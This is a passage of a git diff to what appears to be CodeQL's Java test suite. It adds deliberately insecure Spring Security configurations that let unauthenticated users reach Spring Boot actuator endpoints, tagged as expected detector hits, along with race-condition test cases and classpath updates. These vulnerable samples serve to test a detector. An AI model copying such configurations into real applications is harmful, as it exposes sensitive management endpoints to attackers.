+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest().permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configureOk1(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOk2(HttpSecurity http) throws Exception {
+    http.requestMatchers().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOk3(HttpSecurity http) throws Exception {
+    http.authorizeRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOk4(HttpSecurity http) throws Exception {
+    http.authorizeRequests(authz -> authz.anyRequest().permitAll());
+  }
+
+  protected void configureOkSafeEndpoints1(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.to("health", "info")).authorizeRequests(requests -> requests.anyRequest().permitAll());
+  }
+
+  protected void configureOkSafeEndpoints2(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.to("health")).authorizeRequests().requestMatchers(EndpointRequest.to("health")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints3(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints4(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.to("health", "info")).authorizeRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOkSafeEndpoints5(HttpSecurity http) throws Exception {
+    http.authorizeRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints6(HttpSecurity http) throws Exception {
+    http.authorizeRequests(requests -> requests.requestMatchers(EndpointRequest.to("health", "info")).permitAll());
+  }
+
+  protected void configureOkSafeEndpoints7(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOkNoPermitAll1(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests(requests -> requests.anyRequest());
+  }
+
+  protected void configureOkNoPermitAll2(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll3(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll4(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest();
+  }
+
+  protected void configureOkNoPermitAll5(HttpSecurity http) throws Exception {
+    http.authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll6(HttpSecurity http) throws Exception {
+    http.authorizeRequests(requests -> requests.requestMatchers(EndpointRequest.toAnyEndpoint()));
+  }
+
+  protected void configureOkNoPermitAll7(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest();
+  }
+
+  // Spring security version 5.5.0 introduced `authorizeHttpRequests`
+  protected void configure_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests(requests -> requests.anyRequest().permitAll()); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure2_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure3_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure4_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest().permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure5_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure6_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests(requests -> requests.requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll()); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure7_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest().permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configureOk3_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOk4_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests(authz -> authz.anyRequest().permitAll());
+  }
+
+  protected void configureOkSafeEndpoints1_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.to("health", "info")).authorizeHttpRequests(requests -> requests.anyRequest().permitAll());
+  }
+
+  protected void configureOkSafeEndpoints2_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.to("health")).authorizeHttpRequests().requestMatchers(EndpointRequest.to("health")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints3_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeHttpRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints4_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.to("health", "info")).authorizeHttpRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOkSafeEndpoints5_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints6_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests(requests -> requests.requestMatchers(EndpointRequest.to("health", "info")).permitAll());
+  }
+
+  protected void configureOkSafeEndpoints7_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeHttpRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOkNoPermitAll1_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests(requests -> requests.anyRequest());
+  }
+
+  protected void configureOkNoPermitAll2_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll3_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll4_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest();
+  }
+
+  protected void configureOkNoPermitAll5_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll6_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.authorizeHttpRequests(requests -> requests.requestMatchers(EndpointRequest.toAnyEndpoint()));
+  }
+
+  protected void configureOkNoPermitAll7_authorizeHttpRequests(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest();
+  }
+
+  // Spring security version 5.8.0 introduced `securityMatcher(s)`
+  protected void configure_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests(requests -> requests.anyRequest().permitAll()); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure2_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure3_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure4_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest().permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure7_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest().permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configureOk1_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOk2_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkSafeEndpoints1_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.to("health", "info")).authorizeHttpRequests(requests -> requests.anyRequest().permitAll());
+  }
+
+  protected void configureOkSafeEndpoints2_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.to("health")).authorizeHttpRequests().requestMatchers(EndpointRequest.to("health")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints3_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeHttpRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
+  }
+
+  protected void configureOkSafeEndpoints4_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.to("health", "info")).authorizeHttpRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOkSafeEndpoints7_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeHttpRequests().anyRequest().permitAll();
+  }
+
+  protected void configureOkNoPermitAll1_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests(requests -> requests.anyRequest());
+  }
+
+  protected void configureOkNoPermitAll2_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll3_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
+  }
+
+  protected void configureOkNoPermitAll4_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatcher(EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest();
+  }
+
+  protected void configureOkNoPermitAll7_securityMatchers(HttpSecurity http) throws Exception {
+    http.securityMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeHttpRequests().anyRequest();
+  }
+
+  // QHelp Bad example
+  public void securityFilterChain1(HttpSecurity http) throws Exception {
+    // BAD: Unauthenticated access to Spring Boot actuator endpoints is allowed
+    http.securityMatcher(EndpointRequest.toAnyEndpoint());
+    http.authorizeHttpRequests((requests) -> requests.anyRequest().permitAll()); // $ hasExposedSpringBootActuator
+  }
+
+  // QHelp Good example
+  public void securityFilterChain2(HttpSecurity http) throws Exception {
+    // GOOD: only users with ENDPOINT_ADMIN role are allowed to access the actuator endpoints
+    http.securityMatcher(EndpointRequest.toAnyEndpoint());
+    http.authorizeHttpRequests((requests) -> requests.anyRequest().hasRole("ENDPOINT_ADMIN"));
+  }
+}
diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.ql b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.ql
new file mode 100644
index 000000000000..214886fce511
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.ql
@@ -0,0 +1,19 @@
+import java
+import semmle.code.java.frameworks.spring.SpringSecurity
+import semmle.code.java.security.SpringBootActuatorsQuery
+import utils.test.InlineExpectationsTest
+
+module SpringBootActuatorsTest implements TestSig {
+  string getARelevantTag() { result = "hasExposedSpringBootActuator" }
+
+  predicate hasActualResult(Location location, string element, string tag, string value) {
+    tag = "hasExposedSpringBootActuator" and
+    exists(SpringPermitAllCall permitAllCall | permitsSpringBootActuators(permitAllCall) |
+      permitAllCall.getLocation() = location and
+      element = permitAllCall.toString() and
+      value = ""
+    )
+  }
+}
+
+import MakeTest<SpringBootActuatorsTest>
diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/options b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/options
new file mode 100644
index 000000000000..ab29fd4e46fa
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.expected b/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.expected
index da6f6312a896..bb5acb44d6dd 100644
--- a/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.expected
+++ b/java/ql/test/query-tests/security/CWE-327/semmle/tests/MaybeBrokenCryptoAlgorithm.expected
@@ -6,7 +6,7 @@ nodes
 | WeakHashing.java:21:56:21:91 | getProperty(...) | semmle.label | getProperty(...) |
 subpaths
 #select
-| Test.java:34:21:34:53 | new SecretKeySpec(...) | Test.java:34:48:34:52 | "foo" | Test.java:34:48:34:52 | "foo" | Cryptographic algorithm $@ may not be secure, consider using a different algorithm. | Test.java:34:48:34:52 | "foo" | foo |
-| WeakHashing.java:15:29:15:84 | getInstance(...) | WeakHashing.java:15:55:15:83 | getProperty(...) | WeakHashing.java:15:55:15:83 | getProperty(...) | Cryptographic algorithm $@ may not be secure, consider using a different algorithm. | WeakHashing.java:15:55:15:83 | getProperty(...) | MD5 |
-| WeakHashing.java:18:30:18:96 | getInstance(...) | WeakHashing.java:18:56:18:95 | getProperty(...) | WeakHashing.java:18:56:18:95 | getProperty(...) | Cryptographic algorithm $@ may not be secure, consider using a different algorithm. | WeakHashing.java:18:56:18:95 | getProperty(...) | MD5 |
-| WeakHashing.java:21:30:21:92 | getInstance(...) | WeakHashing.java:21:56:21:91 | getProperty(...) | WeakHashing.java:21:56:21:91 | getProperty(...) | Cryptographic algorithm $@ may not be secure, consider using a different algorithm. | WeakHashing.java:21:56:21:91 | getProperty(...) | MD5 |
+| Test.java:34:21:34:53 | new SecretKeySpec(...) | Test.java:34:48:34:52 | "foo" | Test.java:34:48:34:52 | "foo" | Cryptographic algorithm $@ may not be secure. Consider using a different algorithm. | Test.java:34:48:34:52 | "foo" | foo |
+| WeakHashing.java:15:29:15:84 | getInstance(...) | WeakHashing.java:15:55:15:83 | getProperty(...) | WeakHashing.java:15:55:15:83 | getProperty(...) | Cryptographic algorithm $@ may not be secure. Consider using a different algorithm. | WeakHashing.java:15:55:15:83 | getProperty(...) | MD5 |
+| WeakHashing.java:18:30:18:96 | getInstance(...) | WeakHashing.java:18:56:18:95 | getProperty(...) | WeakHashing.java:18:56:18:95 | getProperty(...) | Cryptographic algorithm $@ may not be secure. Consider using a different algorithm. | WeakHashing.java:18:56:18:95 | getProperty(...) | MD5 |
+| WeakHashing.java:21:30:21:92 | getInstance(...) | WeakHashing.java:21:56:21:91 | getProperty(...) | WeakHashing.java:21:56:21:91 | getProperty(...) | Cryptographic algorithm $@ may not be secure. Consider using a different algorithm. | WeakHashing.java:21:56:21:91 | getProperty(...) | MD5 |
diff --git a/java/ql/test/query-tests/security/CWE-352/options b/java/ql/test/query-tests/security/CWE-352/options
index 1fef01772fe9..d23a76bd9025 100644
--- a/java/ql/test/query-tests/security/CWE-352/options
+++ b/java/ql/test/query-tests/security/CWE-352/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.3.8/:${testdir}/../../../stubs/org.mybatis-3.5.4/:${testdir}/../../../stubs/stapler-1.263/:${testdir}/../../../stubs/javax-servlet-2.5:${testdir}/../../../stubs/apache-commons-jelly-1.0.1:${testdir}/../../../stubs/apache-commons-fileupload-1.4:${testdir}/../../../stubs/saxon-xqj-9.x:${testdir}/../../../stubs/apache-commons-beanutils:${testdir}/../../../stubs/dom4j-2.1.1:${testdir}/../../../stubs/apache-commons-lang:${testdir}/../../../stubs/jaxen-1.2.0:${testdir}/../../../stubs/apache-commons-logging-1.2/
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.8.x/:${testdir}/../../../stubs/org.mybatis-3.5.4/:${testdir}/../../../stubs/stapler-1.263/:${testdir}/../../../stubs/javax-servlet-2.5:${testdir}/../../../stubs/apache-commons-jelly-1.0.1:${testdir}/../../../stubs/apache-commons-fileupload-1.4:${testdir}/../../../stubs/saxon-xqj-9.x:${testdir}/../../../stubs/apache-commons-beanutils:${testdir}/../../../stubs/dom4j-2.1.1:${testdir}/../../../stubs/apache-commons-lang:${testdir}/../../../stubs/jaxen-1.2.0:${testdir}/../../../stubs/apache-commons-logging-1.2/
diff --git a/java/ql/test/query-tests/security/CWE-367/semmle/tests/FieldAlwaysLocked.java b/java/ql/test/query-tests/security/CWE-367/semmle/tests/FieldAlwaysLocked.java
new file mode 100644
index 000000000000..71a463364b84
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-367/semmle/tests/FieldAlwaysLocked.java
@@ -0,0 +1,24 @@
+package test.cwe367.semmle.tests;
+
+import java.util.Enumeration;
+import java.util.Hashtable;
+
+class FieldAlwaysLocked {
+
+        Hashtable field;
+
+        public FieldAlwaysLocked() {
+                field = new Hashtable();
+        }
+
+        protected synchronized void checkOut() {
+                Object o;
+                if (field.size() > 0) {
+                        Enumeration e = field.keys();
+                        while (e.hasMoreElements()) {
+                                o = e.nextElement();
+                                field.remove(o);
+                        }
+                }
+        }
+}
diff --git a/java/ql/test/query-tests/security/CWE-367/semmle/tests/FieldNotAlwaysLocked.java b/java/ql/test/query-tests/security/CWE-367/semmle/tests/FieldNotAlwaysLocked.java
new file mode 100644
index 000000000000..cdae7f924e58
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-367/semmle/tests/FieldNotAlwaysLocked.java
@@ -0,0 +1,28 @@
+package test.cwe367.semmle.tests;
+
+import java.util.Enumeration;
+import java.util.Hashtable;
+
+class FieldNotAlwaysLocked {
+
+        Hashtable field;
+
+        public FieldNotAlwaysLocked() {
+                field = new Hashtable();
+        }
+
+        protected synchronized void checkOut() {
+                Object o;
+                if (field.size() > 0) {
+                        Enumeration e = field.keys(); // $ Alert
+                        while (e.hasMoreElements()) {
+                                o = e.nextElement();
+                                field.remove(o); // $ Alert
+                        }
+                }
+        }
+
+        protected void modifyUnlocked() {
+                field = new Hashtable();
+        }
+}
diff --git a/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.expected b/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.expected
index f68820385401..f2dc9f8aa957 100644
--- a/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.expected
+++ b/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.expected
@@ -1,3 +1,5 @@
+| FieldNotAlwaysLocked.java:17:41:17:52 | keys(...) | This uses the state of $@ which $@. But these are not jointly synchronized. | FieldNotAlwaysLocked.java:8:19:8:23 | field | field | FieldNotAlwaysLocked.java:16:21:16:32 | size(...) | is checked at a previous call |
+| FieldNotAlwaysLocked.java:20:33:20:47 | remove(...) | This uses the state of $@ which $@. But these are not jointly synchronized. | FieldNotAlwaysLocked.java:8:19:8:23 | field | field | FieldNotAlwaysLocked.java:16:21:16:32 | size(...) | is checked at a previous call |
 | Test.java:13:4:13:10 | act(...) | This uses the state of $@ which $@. But these are not jointly synchronized. | Test.java:10:32:10:41 | r | r | Test.java:12:7:12:18 | getState(...) | is checked at a previous call |
 | Test.java:20:4:20:10 | act(...) | This uses the state of $@ which $@. But these are not jointly synchronized. | Test.java:17:32:17:42 | r | r | Test.java:19:7:19:18 | getState(...) | is checked at a previous call |
 | Test.java:27:4:27:10 | act(...) | This uses the state of $@ which $@. But these are not jointly synchronized. | Test.java:24:19:24:28 | r | r | Test.java:26:7:26:18 | getState(...) | is checked at a previous call |
diff --git a/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.qlref b/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.qlref
index 243a56419353..b278242dea6d 100644
--- a/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.qlref
+++ b/java/ql/test/query-tests/security/CWE-367/semmle/tests/TOCTOURace.qlref
@@ -1 +1,2 @@
-Security/CWE/CWE-367/TOCTOURace.ql
\ No newline at end of file
+query: Security/CWE/CWE-367/TOCTOURace.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/java/ql/test/query-tests/security/CWE-367/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-367/semmle/tests/Test.java
index c25a699001a6..11287896bbe4 100644
--- a/java/ql/test/query-tests/security/CWE-367/semmle/tests/Test.java
+++ b/java/ql/test/query-tests/security/CWE-367/semmle/tests/Test.java
@@ -4,27 +4,27 @@
 
 class Test {
 	public final Object lock = new Object();
-	
+
 	public volatile boolean aField = true;
-	
+
 	public synchronized void bad1(Resource r) {
 		// probably used concurrently due to synchronization
 		if (r.getState()) {
-			r.act();
+			r.act(); // $ Alert
 		}
 	}
 
 	public synchronized void bad2(Resource2 r) {
 		// probably used concurrently due to synchronization
 		if (r.getState()) {
-			r.act();
+			r.act(); // $ Alert
 		}
 	}
 
 	public void bad3(Resource r) {
 		// probably used concurrently due to use of volatile field
 		if (r.getState() && aField) {
-			r.act();
+			r.act(); // $ Alert
 		}
 	}
 
@@ -32,11 +32,11 @@ public void bad4(Resource r) {
 		// probably used concurrently due to synchronization
 		synchronized(this) {
 			if (r.getState() && aField) {
-				r.act();
+				r.act(); // $ Alert
 			}
 		}
 	}
-	
+
 	public void good1(Resource r) {
 		// synchronizes on the same monitor as the called methods
 		synchronized(r) {
@@ -45,15 +45,15 @@ public void good1(Resource r) {
 			}
 		}
 	}
-	
+
 	public Resource rField = new Resource();
-	
+
 	public void someOtherMethod() {
 		synchronized(lock) {
 			rField.act();
 		}
 	}
-	
+
 	public void good2() {
 		// r is always guarded with the same lock, so okay
 		synchronized(lock) {
@@ -77,43 +77,43 @@ public void good3(Resource r) {
 			r.act();
 		}
 	}
-	
+
 	class Resource {
 		boolean state;
-		
+
 		public synchronized void setState(boolean newState) {
 			this.state = newState;
 		}
-		
+
 		public synchronized boolean getState() {
 			return state;
 		}
-		
+
 		public synchronized void act() {
 			if (state)
 				sideEffect();
 			else
 				sideEffect();
 		}
-		
+
 		public void sideEffect() { }
 	}
 
 	class Resource2 {
 		boolean state;
-		
+
 		public void setState(boolean newState) {
 			synchronized(this) {
 				this.state = newState;
 			}
 		}
-		
+
 		public boolean getState() {
 			synchronized(this) {
 				return state;
 			}
 		}
-		
+
 		public void act() {
 			synchronized(this) {
 				if (state)
@@ -122,7 +122,7 @@ public void act() {
 					sideEffect();
 			}
 		}
-		
+
 		public void sideEffect() { }
 	}
 }
diff --git a/java/ql/test/query-tests/security/CWE-502/options b/java/ql/test/query-tests/security/CWE-502/options
index f15c0b925385..698b9bf8f1a3 100644
--- a/java/ql/test/query-tests/security/CWE-502/options
+++ b/java/ql/test/query-tests/security/CWE-502/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/snakeyaml-1.21:${testdir}/../../../stubs/xstream-1.4.10:${testdir}/../../../stubs/kryo-4.0.2:${testdir}/../../../stubs/jsr311-api-1.1.1:${testdir}/../../../stubs/fastjson-1.2.74:${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/jyaml-1.3:${testdir}/../../../stubs/json-io-4.10.0:${testdir}/../../../stubs/yamlbeans-1.09:${testdir}/../../../stubs/hessian-4.0.38:${testdir}/../../../stubs/castor-1.4.1:${testdir}/../../../stubs/jackson-databind-2.12:${testdir}/../../../stubs/jackson-core-2.12:${testdir}/../../../stubs/jabsorb-1.3.2:${testdir}/../../../stubs/json-java-20210307:${testdir}/../../../stubs/joddjson-6.0.3:${testdir}/../../../stubs/flexjson-2.1:${testdir}/../../../stubs/gson-2.8.6:${testdir}/../../../stubs/google-android-9.0.0:${testdir}/../../../stubs/serialkiller-4.0.0:${testdir}/../../../stubs/jms-api-1
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/snakeyaml-1.21:${testdir}/../../../stubs/xstream-1.4.10:${testdir}/../../../stubs/kryo-4.0.2:${testdir}/../../../stubs/jsr311-api-1.1.1:${testdir}/../../../stubs/fastjson-1.2.74:${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/jyaml-1.3:${testdir}/../../../stubs/json-io-4.10.0:${testdir}/../../../stubs/yamlbeans-1.09:${testdir}/../../../stubs/hessian-4.0.38:${testdir}/../../../stubs/castor-1.4.1:${testdir}/../../../stubs/jackson-databind-2.12:${testdir}/../../../stubs/jackson-core-2.12:${testdir}/../../../stubs/jabsorb-1.3.2:${testdir}/../../../stubs/json-java-20210307:${testdir}/../../../stubs/joddjson-6.0.3:${testdir}/../../../stubs/flexjson-2.1:${testdir}/../../../stubs/gson-2.8.6:${testdir}/../../../stubs/google-android-9.0.0:${testdir}/../../../stubs/serialkiller-4.0.0:${testdir}/../../../stubs/jms-api-1
diff --git a/java/ql/test/query-tests/security/CWE-552/options b/java/ql/test/query-tests/security/CWE-552/options
index bda9516fb580..009d164e8fcf 100644
--- a/java/ql/test/query-tests/security/CWE-552/options
+++ b/java/ql/test/query-tests/security/CWE-552/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/springframework-5.3.8/:${testdir}/../../../stubs/javax-faces-2.3/:${testdir}/../../../stubs/undertow-io-2.2/:${testdir}/../../../stubs/jboss-vfs-3.2/:${testdir}/../../../stubs/stapler-1.263/:${testdir}/../../../stubs/apache-commons-fileupload-1.4/:${testdir}/../../../stubs/apache-commons-beanutils/:${testdir}/../../../stubs/saxon-xqj-9.x/:${testdir}/../../../stubs/apache-commons-lang/:${testdir}/../../../stubs/javax-servlet-2.5/
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/springframework-5.8.x/:${testdir}/../../../stubs/javax-faces-2.3/:${testdir}/../../../stubs/undertow-io-2.2/:${testdir}/../../../stubs/jboss-vfs-3.2/:${testdir}/../../../stubs/stapler-1.263/:${testdir}/../../../stubs/apache-commons-fileupload-1.4/:${testdir}/../../../stubs/apache-commons-beanutils/:${testdir}/../../../stubs/saxon-xqj-9.x/:${testdir}/../../../stubs/apache-commons-lang/:${testdir}/../../../stubs/javax-servlet-2.5/
diff --git a/java/ql/test/query-tests/security/CWE-611/options b/java/ql/test/query-tests/security/CWE-611/options
index 145681fcb031..1480b49d7168 100644
--- a/java/ql/test/query-tests/security/CWE-611/options
+++ b/java/ql/test/query-tests/security/CWE-611/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/jdom-1.1.3:${testdir}/../../../stubs/dom4j-2.1.1:${testdir}/../../../stubs/simple-xml-2.7.1:${testdir}/../../../stubs/jaxb-api-2.3.1:${testdir}/../../../stubs/jaxen-1.2.0:${testdir}/../../../stubs/apache-commons-digester3-3.2:${testdir}/../../../stubs/servlet-api-2.4/:${testdir}/../../../stubs/rundeck-api-java-client-13.2:${testdir}/../../../stubs/springframework-5.3.8/:${testdir}/../../../stubs/mdht-1.2.0/
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/jdom-1.1.3:${testdir}/../../../stubs/dom4j-2.1.1:${testdir}/../../../stubs/simple-xml-2.7.1:${testdir}/../../../stubs/jaxb-api-2.3.1:${testdir}/../../../stubs/jaxen-1.2.0:${testdir}/../../../stubs/apache-commons-digester3-3.2:${testdir}/../../../stubs/servlet-api-2.4/:${testdir}/../../../stubs/rundeck-api-java-client-13.2:${testdir}/../../../stubs/springframework-5.8.x/:${testdir}/../../../stubs/mdht-1.2.0/
diff --git a/java/ql/test/query-tests/security/CWE-917/options b/java/ql/test/query-tests/security/CWE-917/options
index cfb77dafac33..35f135b5f1bf 100644
